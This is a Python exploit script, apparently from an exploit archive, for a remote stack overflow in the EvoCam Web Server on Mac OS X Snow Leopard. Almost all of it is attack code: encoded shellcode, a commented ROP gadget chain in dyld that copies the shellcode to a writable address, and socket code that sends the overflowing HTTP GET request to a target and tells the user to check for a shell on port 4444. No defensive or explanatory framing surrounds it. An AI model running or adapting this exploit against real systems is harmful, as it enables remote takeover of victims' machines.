Apple Mac OSX EvoCam Web Server (Snow Leopard) – ROP Remote Overflow
#!/usr/bin/python # EvoCam Web Server OSX 3.6.6 and 3.6.7 import socket import struct SHELL = ( "\xdb\xd2\x29\xc9\xb1\x27\xbf\xb1\xd5\xb6\xd3\xd9\x74\x24" "\xf4\x5a\x83\xea\xfc\x31\x7a\x14\x03\x7a\xa5\x37\x43\xe2" "\x05\x2e\xfc\x45\xd5\x11\xad\x17\x65\xf0\x80\x18\x8a\x71" "\x64\x19\x94\x75\x10\xdf\xc6\x27\x70\x88\xe6\xc5\x65\x14" "\x6f\x2a\xef\xb4\x3c\xfb\xa2\x04\xaa\xce\xc3\x17\x4d\x83" "\x95\x85\x21\x49\xd7\xaa\x33\xd0\xb5\xf8\xe5\xbe\x89\xe3" "\xc4\xbf\x98\x4f\x5f\x78\x6d\xab\xdc\x6c\x8f\x08\xb1\x25" "\xc3\x3e\x6f\x07\x63\x4c\xcc\x14\x9f\xb2\xa7\xeb\x51\x75" "\x17\x5c\xc2\x25\x27\x67\x2f\x45\xd7\x08\x93\x6b\xa2\x21" "\x5c\x31\x81\xb2\x1f\x4c\x19\xc7\x08\x80\xd9\x77\x5f\xcd" "\xf6\x04\xf7\x79\x27\x89\x6e\x14\xbe\xae\x21\xb8\x93\x60" "\x72\x03\xde\x01\x43\xb4\xb0\x88\x47\x64\x60\xd8\xd7\xd5" "\x30\xd9\x1a\x55\x01\x26\xf4\x06\x21\x6b\x75\xac" ) WRITEABLE = 0x8fe66448 # Writable address - dyld STRCPY=0x8fe2db10 # strcpy() in dyld # ==================== Put stack pointer into EAX/EDX ==================== ROP = struct.pack('>I',0x8fe2b3d4) # POP - RET Insturction - Pop's over the writeable value below ROP += struct.pack('>I',WRITEABLE) # Required Writeable address here for exploit to work ROP += struct.pack('>I',0x8fe2fb63) # pop eax # ret - needed for command two below ROP += struct.pack('>I',WRITEABLE) # writeable address to pop into eax for instructions below ROP += struct.pack('>I',0x8fe2fb58) # push esp # and al,0x4 # mov [eax+0x28],edx # mov edx,[esp] # mov [eax],edx # pop eax # ret # ==================== Jump Over Parameters below ==================== ROP += struct.pack('>I',0xffff1d6b) # add esp,byte +0x1c # pop ebp # ret # ==================== strcpy call ==================== ROP += struct.pack('>I',STRCPY) # use strcpy to copy shellcode from stack to heap ROP += struct.pack('>I',0x8fe2dfd1) # POP - POP - RET over strcpy params ROP += struct.pack('>I',WRITEABLE) # Dst Param for strcpy ROP += 'EEEE' # Src Param for strcpy - Placeholder ROP += struct.pack('>I',WRITEABLE) # Move execution to where we moved our shell ROP += 'C'*12 # Padding # ==================== Craft Parameter 2 ==================== # Need to inc EAX or EDX to point to shell code # Store 0x10 in ECX ROP += struct.pack('>I',0x8fe2dae4) # mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret ROP += struct.pack('>I',0x8fe2b3d4) # POP - RET Insturction - Pop's over the value below ROP += struct.pack('>I',0xffffffff) # Value to store in ecx ROP += struct.pack('>I',0x8fe0c0c7) # inc ecx # xor al,0xc9 ROP += struct.pack('>I',0x8fe0c0c7) # inc ecx # xor al,0xc9 ROP += struct.pack('>I',0x8fe24b3c) # add ecx,ecx # ret ROP += struct.pack('>I',0x8fe24b3c) # add ecx,ecx # ret ROP += struct.pack('>I',0x8fe24b3c) # add ecx,ecx # ret ROP += struct.pack('>I',0x8fe24b3c) # add ecx,ecx # ret # Replace stack pointer back into eax as it was trashed ROP += struct.pack('>I',0x8fe2c71d) # mov eax,edx # ret # Add offset to paramter ROP += struct.pack('>I',0x8fe2def4) # add eax,ecx # ret # Swap over so we can work on fresh copy of saved ESP ROP += struct.pack('>I',0x8fe0e32d) # xchg eax,edx # Increase ECX some more times to point to our nop sled/shell code ROP += struct.pack('>I',0x8fe0c0c7) # inc ecx # xor al,0xc9 ROP += struct.pack('>I',0x8fe0c0c7) # inc ecx # xor al,0xc9 ROP += struct.pack('>I',0x8fe24b3c) # add ecx,ecx # ret ROP += struct.pack('>I',0x8fe24b3c) # add ecx,ecx # ret ROP += struct.pack('>I',0x8fe24b3c) # add ecx,ecx # ret # Add offset to shellcode ROP += struct.pack('>I',0x8fe2def4) # add eax,ecx # ret # Swap back ROP += struct.pack('>I',0x8fe0e32d) # xchg eax,edx # Copy parameter to placeholder ROP += struct.pack('>I',0x8fe2fb61) # mov [eax],edx # pop eax # ret ROP += 'G'*4 # junk to pop into eax # ==================== Call strcpy function ==================== # Set our Stack pointer back to original value ROP += struct.pack('>I',0x8fe0e32d) # xchg eax,edx ROP += struct.pack('>I',0x8fe2daea) # sub eax,ecx # ret # Return execution to our strdup call above ROP += struct.pack('>I',0x8fe0b1c2) # xchg eax,ebp # inc ebp # ret ROP += struct.pack('>I',0x8fe2b6a5) # dec ebp # ret ROP += struct.pack('>I',0xffff01f3) # mov esp,ebp # pop ebp # ret ROP += 'G'*4 # junk # ==================== Exploit code to be copied to heap ==================== NOP = '\x90' * 10 BUFFER = 'A'*1564 + ROP + NOP + SHELL s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('192.168.1.10',8080)) print '[+] Sending evil buffer...' s.send("GET " +BUFFER + " HTTP/1.0\r\n\r\n") print "[+] Done!" print "[*] Check your shell on remote host port 4444" s.close() |